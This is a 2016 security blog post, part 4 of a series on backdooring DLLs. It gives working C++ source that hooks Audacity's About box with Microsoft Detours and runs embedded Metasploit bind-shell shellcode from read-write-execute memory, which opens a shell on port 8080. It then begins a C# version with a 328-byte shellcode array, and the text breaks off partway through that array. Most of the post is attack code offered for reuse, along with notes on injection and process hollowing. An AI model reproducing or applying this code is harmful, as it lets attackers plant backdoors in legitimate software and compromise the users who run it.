{"id":1351,"date":"2016-09-10T19:27:10","date_gmt":"2016-09-10T19:27:10","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=1351"},"modified":"2016-09-10T19:27:10","modified_gmt":"2016-09-10T19:27:10","slug":"backdooring-a-dll-part-4","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2016\/09\/backdooring-a-dll-part-4\/","title":{"rendered":"Backdooring a DLL part 4"},"content":{"rendered":"<p>Here we are finally at the last part of my series on backdooring dll files. I wanted to cover again detours as a means of backdooring dll files and executables. A fellow 2600 member I spoke to asked me the other day about what it would take to modify an exe without changing it on disk. For that I say detours! That&#8217;s what I&#8217;m going to do this in example, on top of popping a message box up, I&#8217;m also going to pop a shell.<\/p>\n<p>Recall that we covered <a href=\"http:\/\/www.gironsec.com\/blog\/2016\/03\/detours-trampolines-and-code-caves\/\" target=\"_blank\">this once before<\/a>. All I&#8217;m doing is slightly modifying the detours code from before to include some shellcode from MSF. I also modified the launcher slightly because of a unicode conversion error. I&#8217;ll link all projects source and all towards the end.  We&#8217;re of course modifying our detours project to allow for shellcode to be implanted. Sure we *could* do our own shellcode right there in the dll with inline assembly, but MSF does a better job than me. <\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #f8f8f8; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800\">#include &quot;stdafx.h&quot;<\/span>\r\n<span style=\"color: #008800\">#include &lt;windows.h&gt;<\/span>\r\n<span style=\"color: #008800\">#include &lt;detours.h&gt;<\/span>\r\n<span style=\"color: #008800\">#pragma comment(lib, &quot;detours.lib&quot;)<\/span>\r\n\r\n<span style=\"color: #AA22FF; font-weight: bold\">typedef<\/span> <span style=\"color: #00A000\">int<\/span> (WINAPI <span style=\"color: #666666\">*<\/span>pFunc)(<span style=\"color: #00BB00; font-weight: bold\">int<\/span>, <span style=\"color: #00BB00; font-weight: bold\">int<\/span>);\r\n<span style=\"color: #00BB00; font-weight: bold\">int<\/span> WINAPI <span style=\"color: #00A000\">MyFunc<\/span>(<span style=\"color: #00BB00; font-weight: bold\">int<\/span>, <span style=\"color: #00BB00; font-weight: bold\">int<\/span>);\r\npFunc FuncToDetour <span style=\"color: #666666\">=<\/span> (pFunc)(<span style=\"color: #666666\">0x40C910<\/span>); <span style=\"color: #008800; font-style: italic\">\/\/ address of about box in Audacity<\/span>\r\n\r\n<span style=\"color: #00BB00; font-weight: bold\">int<\/span> WINAPI <span style=\"color: #00A000\">MyFunc<\/span>(<span style=\"color: #00BB00; font-weight: bold\">int<\/span> a, <span style=\"color: #00BB00; font-weight: bold\">int<\/span> b)\r\n{\r\n\tMessageBox(<span style=\"color: #AA22FF\">NULL<\/span>, <span style=\"color: #BB4444\">L&quot;Audacity rocks!&quot;<\/span>, <span style=\"color: #BB4444\">L&quot;Joe was here&quot;<\/span>, MB_OK);\r\n\t<span style=\"color: #008800; font-style: italic\">\/*<\/span>\r\n<span style=\"color: #008800; font-style: italic\">\tmsf payload(shell_bind_tcp) &gt; generate -t c<\/span>\r\n\r\n<span style=\"color: #008800; font-style: italic\">\t* windows\/shell_bind_tcp - 328 bytes<\/span>\r\n<span style=\"color: #008800; font-style: italic\">\t* http:\/\/www.metasploit.com<\/span>\r\n<span style=\"color: #008800; font-style: italic\">\t* VERBOSE=false, LPORT=8080, RHOST=0.0.0.0,<\/span>\r\n<span style=\"color: #008800; font-style: italic\">\t* PrependMigrate=false, EXITFUNC=none, InitialAutoRunScript=,<\/span>\r\n<span style=\"color: #008800; font-style: italic\">\t* AutoRunScript=<\/span>\r\n<span style=\"color: #008800; font-style: italic\">\t*\/<\/span>\r\n\t<span style=\"color: #00BB00; font-weight: bold\">unsigned<\/span> <span style=\"color: #00BB00; font-weight: bold\">char<\/span> buf[] <span style=\"color: #666666\">=<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\\x50\\x30<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\\x31\\xff<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\\x0d\\x01\\xc7\\xe2\\xf2\\x52<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x57\\x8b\\x52\\x10\\x8b\\x4a\\x3c\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x51\\x8b\\x59\\x20\\x01\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x01\\xd6\\x31\\xff\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x7d\\xf8\\x3b\\x7d\\x24\\x75\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\\x8b<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\\x89\\x44\\x24<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x5f\\x5f\\x5a\\x8b\\x12\\xeb<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x8d\\x5d\\x68\\x33\\x32\\x00\\x00\\x68\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x77\\x26\\x07\\xff\\xd5\\xb8\\x90\\x01\\x00\\x00\\x29\\xc4\\x54\\x50\\x68<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x29\\x80\\x6b\\x00\\xff\\xd5\\x6a\\x08\\x59\\x50\\xe2\\xfd\\x40\\x50\\x40<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x50\\x68\\xea\\x0f\\xdf\\xe0\\xff\\xd5\\x97\\x68\\x02\\x00\\x1f\\x90\\x89<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\xe6\\x6a\\x10\\x56\\x57\\x68\\xc2\\xdb\\x37\\x67\\xff\\xd5\\x57\\x68\\xb7<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\xe9\\x38\\xff\\xff\\xd5\\x57\\x68\\x74\\xec\\x3b\\xe1\\xff\\xd5\\x57\\x97<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x68\\x75\\x6e\\x4d\\x61\\xff\\xd5\\x68\\x63\\x6d\\x64\\x00\\x89\\xe3\\x57<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x57\\x57\\x31\\xf6\\x6a\\x12\\x59\\x56\\xe2\\xfd\\x66\\xc7\\x44\\x24\\x3c<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x01\\x01\\x8d\\x44\\x24\\x10\\xc6\\x00\\x44\\x54\\x50\\x56\\x56\\x56\\x46<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x56\\x4e\\x56\\x56\\x53\\x56\\x68\\x79\\xcc\\x3f\\x86\\xff\\xd5\\x89\\xe0<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\x4e\\x56\\x46\\xff\\x30\\x68\\x08\\x87\\x1d\\x60\\xff\\xd5\\xbb\\xaa\\xc5<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\xe2\\x5d\\x68\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c\\x0a\\x80\\xfb<\/span><span style=\"color: #BB4444\">&quot;<\/span>\r\n\t\t<span style=\"color: #BB4444\">&quot;<\/span><span style=\"color: #BB6622; font-weight: bold\">\\xe0\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x53\\xff\\xd5<\/span><span style=\"color: #BB4444\">&quot;<\/span>;\r\n\r\n\t\t<span style=\"color: #008800; font-style: italic\">\/\/ this shit wont work with DEP enabled systems cuz this executes directly on the stack. <\/span>\r\n\t\t<span style=\"color: #008800; font-style: italic\">\/\/ need to alloc some memory, mark it RWE<\/span>\r\n\t\t<span style=\"color: #00BB00; font-weight: bold\">void<\/span> <span style=\"color: #666666\">*<\/span>exec <span style=\"color: #666666\">=<\/span> VirtualAlloc(<span style=\"color: #666666\">0<\/span>, <span style=\"color: #AA22FF; font-weight: bold\">sizeof<\/span> b, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\t\tmemcpy(exec, buf, <span style=\"color: #AA22FF; font-weight: bold\">sizeof<\/span> buf);\r\n\t\t((<span style=\"color: #00BB00; font-weight: bold\">void<\/span>(<span style=\"color: #666666\">*<\/span>)())exec)();\r\n\r\n\t<span style=\"color: #AA22FF; font-weight: bold\">return<\/span> <span style=\"color: #666666\">4<\/span>;\r\n}\r\n<span style=\"color: #AA22FF; font-weight: bold\">extern<\/span> <span style=\"color: #BB4444\">&quot;C&quot;<\/span> <span style=\"color: #AA22FF; font-weight: bold\">__declspec<\/span>(dllexport) <span style=\"color: #00BB00; font-weight: bold\">void<\/span> DoNothingAlready(<span style=\"color: #00BB00; font-weight: bold\">void<\/span>)\r\n{\r\n\tDWORD ayylmao <span style=\"color: #666666\">=<\/span> <span style=\"color: #666666\">20345<\/span>;\r\n\t_asm\r\n\t{\r\n\t\txor eax, eax\r\n\t\t\txor ecx, ecx\r\n\t\t\tmov eax, ayylmao\r\n\t\t\tmov ecx, <span style=\"color: #666666\">0<\/span>\r\n\t\t<span style=\"color: #A0A000\">testd:<\/span>\r\n\t\tfnop\r\n\t\t\tinc ecx\r\n\t\t\tcmp eax, ecx\r\n\t\t\tjnz testd\r\n\t\t\tpop ebx\r\n\t\t\tnop\r\n\t}\r\n\t<span style=\"color: #AA22FF; font-weight: bold\">return<\/span>;\r\n}\r\n\r\nBOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)\r\n{\r\n\t<span style=\"color: #AA22FF; font-weight: bold\">if<\/span> (DetourIsHelperProcess()) {\r\n\t\t<span style=\"color: #AA22FF; font-weight: bold\">return<\/span> TRUE;\r\n\t}\r\n\r\n\t<span style=\"color: #AA22FF; font-weight: bold\">if<\/span> (dwReason <span style=\"color: #666666\">==<\/span> DLL_PROCESS_ATTACH) {\r\n\t\tDetourRestoreAfterWith();\r\n\t\tDetourTransactionBegin();\r\n\t\tDetourUpdateThread(GetCurrentThread());\r\n\t\tDetourAttach(<span style=\"color: #666666\">&amp;<\/span>(PVOID<span style=\"color: #666666\">&amp;<\/span>)FuncToDetour, MyFunc);\r\n\t\tDetourTransactionCommit();\r\n\t}\r\n\t<span style=\"color: #AA22FF; font-weight: bold\">else<\/span> <span style=\"color: #AA22FF; font-weight: bold\">if<\/span> (dwReason <span style=\"color: #666666\">==<\/span> DLL_PROCESS_DETACH) {\r\n\t\tDetourTransactionBegin();\r\n\t\tDetourUpdateThread(GetCurrentThread());\r\n\t\tDetourDetach(<span style=\"color: #666666\">&amp;<\/span>(PVOID<span style=\"color: #666666\">&amp;<\/span>)FuncToDetour, MyFunc);\r\n\t\tDetourTransactionCommit();\r\n\t}\r\n\t<span style=\"color: #AA22FF; font-weight: bold\">return<\/span> TRUE;\r\n}\r\n<\/pre>\n<\/div>\n<p>You&#8217;ll notice how we don&#8217;t directly place our shellcode in the stack. This is because doing so will fail. Modern Windows employs the use of Data Execution Prevention (DEP) which prevents execution in the stack. To get around this, we allocate a chunk of memory and mark it read write execute. We&#8217;ll be doing the same thing with .net.<\/p>\n<p>So our code is short and sweet. Running audacity with our launcher and hitting the about box, we see audacity open port 8080.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/audacity.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/audacity-300x229.png\" alt=\"audacity\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-1364\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/audacity-300x229.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/audacity-768x587.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/audacity.png 929w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\nSure enough here&#8217;s our shell on port 8080.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/audacity_3.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/audacity_3-300x189.png\" alt=\"audacity_3\" width=\"300\" height=\"189\" class=\"alignnone size-medium wp-image-1365\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/audacity_3-300x189.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/audacity_3-768x485.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/audacity_3.png 825w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>As an added bonus, I&#8217;m going to go over backdooring a .Net class library \/ .net executable. I will be using <a href=\"http:\/\/www.red-gate.com\/products\/dotnet-development\/reflector\/\" target=\"_blank\">Red Gate Reflector<\/a> and the reflector plugin <a href=\"https:\/\/github.com\/sailro\/Reflexil\/\" target=\"_blank\">Reflexil<\/a>. Reflexil also works for <a href=\"http:\/\/ilspy.net\/\" target=\"_blank\">IlSpy<\/a> as well if you&#8217;re cheap and like free stuff. DnSpy doesn&#8217;t work for my examples because its a piece of shit.<\/p>\n<p>The obvious thing that comes to mind is &#8220;joe, how in the hell are we supposed to inline shellcode for a backdoor into a managed language that doesn&#8217;t even support inline assembly?&#8221; and to that I say good point. But there&#8217;s more than one way to skin a cat. <\/p>\n<p>There are 2 ways to run shellcode in a C# application. The first way is to use C and inline assembly and pointers and such, then compile your code as a dll and call the dll from within your C# application. Imagine calling a dll within a dll. Inception and shit.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1265818648499.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1265818648499.png\" alt=\"1265818648499\" width=\"469\" height=\"907\" class=\"alignnone size-full wp-image-1356\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1265818648499.png 469w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1265818648499-155x300.png 155w\" sizes=\"(max-width: 469px) 100vw, 469px\" \/><\/a><br \/>\nThe other way to do it is:<\/p>\n<ul>\n<li>Define an array of bytes (our shellcode)<\/li>\n<li>Allocate a chunk of memory (length of shellcode)<\/li>\n<li>Set the memory protection flags on the chunk as Read Write Execute <\/li>\n<li>Write the array of bytes (our shellcode) into this same allocated chunk<\/li>\n<li>Create a thread, setting the &#8216;LpStartAddress&#8217; to our chunk of memory.<\/li>\n<\/ul>\n<p>Side note &#8211; there are 2 other variations on this that have similar results. We could call <a href=\"https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms682437(v=vs.85).aspx\" target=\"_blank\">CreateRemoteThread<\/a> and inject into an already running process such as the host process or explorer or whatever. We could also create a suspended process of something (svchost.exe, or whatever) and write our code in there. In fact that&#8217;s how <a href=\"http:\/\/www.hda.io\/blog\/2015\/12\/joecrypter-finally-released\/\" target=\"_blank\">JoeCrypt<\/a> works with its wrapper around executables.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1463598483447.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1463598483447.jpg\" alt=\"1463598483447\" width=\"401\" height=\"399\" class=\"alignnone size-full wp-image-1377\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1463598483447.jpg 401w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1463598483447-150x150.jpg 150w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1463598483447-300x300.jpg 300w\" sizes=\"(max-width: 401px) 100vw, 401px\" \/><\/a><\/p>\n<p>First things first, we need some shellcode. In following with the &#8216;backdoor&#8217; theme, I&#8217;m choosing a simple single stage TCP bind shell. MSF is nice enough to provide us with a C# output via its &#8216;generate&#8217; application. Thanks HDM. <a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/csharp_shellcodez.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/csharp_shellcodez.png\" alt=\"csharp_shellcodez\" width=\"715\" height=\"595\" class=\"alignnone size-full wp-image-1358\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/csharp_shellcodez.png 715w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/csharp_shellcodez-300x250.png 300w\" sizes=\"(max-width: 715px) 100vw, 715px\" \/><\/a\n\nNow that we have the MSF code, we make our app. For my example, I'm going with option 2. I kept it as simple as possible a window app with a huge button. You can't miss it!\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/big_red_button.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/big_red_button.png\" alt=\"big_red_button\" width=\"301\" height=\"298\" class=\"alignnone size-full wp-image-1357\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/big_red_button.png 301w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/big_red_button-150x150.png 150w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/big_red_button-300x297.png 300w\" sizes=\"(max-width: 301px) 100vw, 301px\" \/><\/a><\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #f8f8f8; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System<\/span>;\r\n<span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System.Collections.Generic<\/span>;\r\n<span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System.ComponentModel<\/span>;\r\n<span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System.Data<\/span>;\r\n<span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System.Drawing<\/span>;\r\n<span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System.Linq<\/span>;\r\n<span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System.Text<\/span>;\r\n<span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System.Windows.Forms<\/span>;\r\n<span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System.Runtime.InteropServices<\/span>;\r\n\r\n<span style=\"color: #AA22FF; font-weight: bold\">namespace<\/span> <span style=\"color: #0000FF; font-weight: bold\">WindowsFormsApplication1<\/span>\r\n{\r\n    <span style=\"color: #AA22FF; font-weight: bold\">public<\/span> <span style=\"color: #AA22FF; font-weight: bold\">partial<\/span> <span style=\"color: #AA22FF; font-weight: bold\">class<\/span> <span style=\"color: #0000FF\">Form1<\/span> : Form\r\n    {\r\n<span style=\"color: #BB4444\">        [Flags]<\/span>\r\n        <span style=\"color: #AA22FF; font-weight: bold\">public<\/span> <span style=\"color: #AA22FF; font-weight: bold\">enum<\/span> AllocationType\r\n        {\r\n            Commit = <span style=\"color: #666666\">4096<\/span>,\r\n            Reserve = <span style=\"color: #666666\">8192<\/span>,\r\n            Decommit = <span style=\"color: #666666\">16384<\/span>,\r\n            Release = <span style=\"color: #666666\">32768<\/span>,\r\n            Reset = <span style=\"color: #666666\">524288<\/span>,\r\n            Physical = <span style=\"color: #666666\">4194304<\/span>,\r\n            TopDown = <span style=\"color: #666666\">1048576<\/span>,\r\n            WriteWatch = <span style=\"color: #666666\">2097152<\/span>,\r\n            LargePages = <span style=\"color: #666666\">536870912<\/span>\r\n        }\r\n        <span style=\"color: #AA22FF; font-weight: bold\">public<\/span> <span style=\"color: #AA22FF; font-weight: bold\">enum<\/span> AllocationProtect : <span style=\"color: #00BB00; font-weight: bold\">uint<\/span>\r\n        {\r\n            PAGE_NOACCESS = <span style=\"color: #666666\">1<\/span>u,\r\n            PAGE_READONLY,\r\n            PAGE_READWRITE = <span style=\"color: #666666\">4<\/span>u,\r\n            PAGE_WRITECOPY = <span style=\"color: #666666\">8<\/span>u,\r\n            PAGE_EXECUTE = <span style=\"color: #666666\">16<\/span>u,\r\n            PAGE_EXECUTE_READ = <span style=\"color: #666666\">32<\/span>u,\r\n            PAGE_EXECUTE_READWRITE = <span style=\"color: #666666\">64<\/span>u,\r\n            PAGE_EXECUTE_WRITECOPY = <span style=\"color: #666666\">128<\/span>u,\r\n            PAGE_GUARD = <span style=\"color: #666666\">256<\/span>u,\r\n            PAGE_NOCACHE = <span style=\"color: #666666\">512<\/span>u,\r\n            PAGE_WRITECOMBINE = <span style=\"color: #666666\">1024<\/span>u\r\n        }\r\n <span style=\"color: #008800; font-style: italic\">\/* msf payload(shell_bind_tcp) &gt; generate -t csharp<\/span>\r\n<span style=\"color: #008800; font-style: italic\">  * <\/span>\r\n<span style=\"color: #008800; font-style: italic\">  * windows\/shell_bind_tcp - 328 bytes<\/span>\r\n<span style=\"color: #008800; font-style: italic\">  * http:\/\/www.metasploit.com<\/span>\r\n<span style=\"color: #008800; font-style: italic\">  * VERBOSE=false, LPORT=1337, RHOST=0.0.0.0, <\/span>\r\n<span style=\"color: #008800; font-style: italic\">  * PrependMigrate=false, EXITFUNC=thread, <\/span>\r\n<span style=\"color: #008800; font-style: italic\">  * InitialAutoRunScript=, AutoRunScript=<\/span>\r\n<span style=\"color: #008800; font-style: italic\">  *\/<\/span>\r\n        <span style=\"color: #00BB00; font-weight: bold\">byte<\/span>[] buf = <span style=\"color: #AA22FF; font-weight: bold\">new<\/span> <span style=\"color: #00BB00; font-weight: bold\">byte<\/span>[<span style=\"color: #666666\">328<\/span>] {\r\n<span style=\"color: #666666\">0<\/span>xfc,<span style=\"color: #666666\">0<\/span>xe8,<span style=\"color: #666666\">0<\/span>x82,<span style=\"color: #666666\">0<\/span>x00,<span style=\"color: #666666\">0<\/span>x00,<span style=\"color: #666666\">0<\/span>x00,<span style=\"color: #666666\">0<\/span>x60,<span style=\"color: #666666\">0<\/span>x89,<span style=\"color: #666666\">0<\/span>xe5,<span style=\"color: #666666\">0<\/span>x31,<span style=\"color: #666666\">0<\/span>xc0,<span style=\"color: #666666\">0<\/span>x64,<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x50,<span style=\"color: #666666\">0<\/span>x30,\r\n<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x52,<span style=\"color: #666666\">0<\/span>x0c,<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x52,<span style=\"color: #666666\">0<\/span>x14,<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x72,<span style=\"color: #666666\">0<\/span>x28,<span style=\"color: #666666\">0<\/span>x0f,<span style=\"color: #666666\">0<\/span>xb7,<span style=\"color: #666666\">0<\/span>x4a,<span style=\"color: #666666\">0<\/span>x26,<span style=\"color: #666666\">0<\/span>x31,<span style=\"color: #666666\">0<\/span>xff,\r\n<span style=\"color: #666666\">0<\/span>xac,<span style=\"color: #666666\">0<\/span>x3c,<span style=\"color: #666666\">0<\/span>x61,<span style=\"color: #666666\">0<\/span>x7c,<span style=\"color: #666666\">0<\/span>x02,<span style=\"color: #666666\">0<\/span>x2c,<span style=\"color: #666666\">0<\/span>x20,<span style=\"color: #666666\">0<\/span>xc1,<span style=\"color: #666666\">0<\/span>xcf,<span style=\"color: #666666\">0<\/span>x0d,<span style=\"color: #666666\">0<\/span>x01,<span style=\"color: #666666\">0<\/span>xc7,<span style=\"color: #666666\">0<\/span>xe2,<span style=\"color: #666666\">0<\/span>xf2,<span style=\"color: #666666\">0<\/span>x52,\r\n<span style=\"color: #666666\">0<\/span>x57,<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x52,<span style=\"color: #666666\">0<\/span>x10,<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x4a,<span style=\"color: #666666\">0<\/span>x3c,<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x4c,<span style=\"color: #666666\">0<\/span>x11,<span style=\"color: #666666\">0<\/span>x78,<span style=\"color: #666666\">0<\/span>xe3,<span style=\"color: #666666\">0<\/span>x48,<span style=\"color: #666666\">0<\/span>x01,<span style=\"color: #666666\">0<\/span>xd1,\r\n<span style=\"color: #666666\">0<\/span>x51,<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x59,<span style=\"color: #666666\">0<\/span>x20,<span style=\"color: #666666\">0<\/span>x01,<span style=\"color: #666666\">0<\/span>xd3,<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x49,<span style=\"color: #666666\">0<\/span>x18,<span style=\"color: #666666\">0<\/span>xe3,<span style=\"color: #666666\">0<\/span>x3a,<span style=\"color: #666666\">0<\/span>x49,<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x34,<span style=\"color: #666666\">0<\/span>x8b,\r\n<span style=\"color: #666666\">0<\/span>x01,<span style=\"color: #666666\">0<\/span>xd6,<span style=\"color: #666666\">0<\/span>x31,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xac,<span style=\"color: #666666\">0<\/span>xc1,<span style=\"color: #666666\">0<\/span>xcf,<span style=\"color: #666666\">0<\/span>x0d,<span style=\"color: #666666\">0<\/span>x01,<span style=\"color: #666666\">0<\/span>xc7,<span style=\"color: #666666\">0<\/span>x38,<span style=\"color: #666666\">0<\/span>xe0,<span style=\"color: #666666\">0<\/span>x75,<span style=\"color: #666666\">0<\/span>xf6,<span style=\"color: #666666\">0<\/span>x03,\r\n<span style=\"color: #666666\">0<\/span>x7d,<span style=\"color: #666666\">0<\/span>xf8,<span style=\"color: #666666\">0<\/span>x3b,<span style=\"color: #666666\">0<\/span>x7d,<span style=\"color: #666666\">0<\/span>x24,<span style=\"color: #666666\">0<\/span>x75,<span style=\"color: #666666\">0<\/span>xe4,<span style=\"color: #666666\">0<\/span>x58,<span style=\"color: 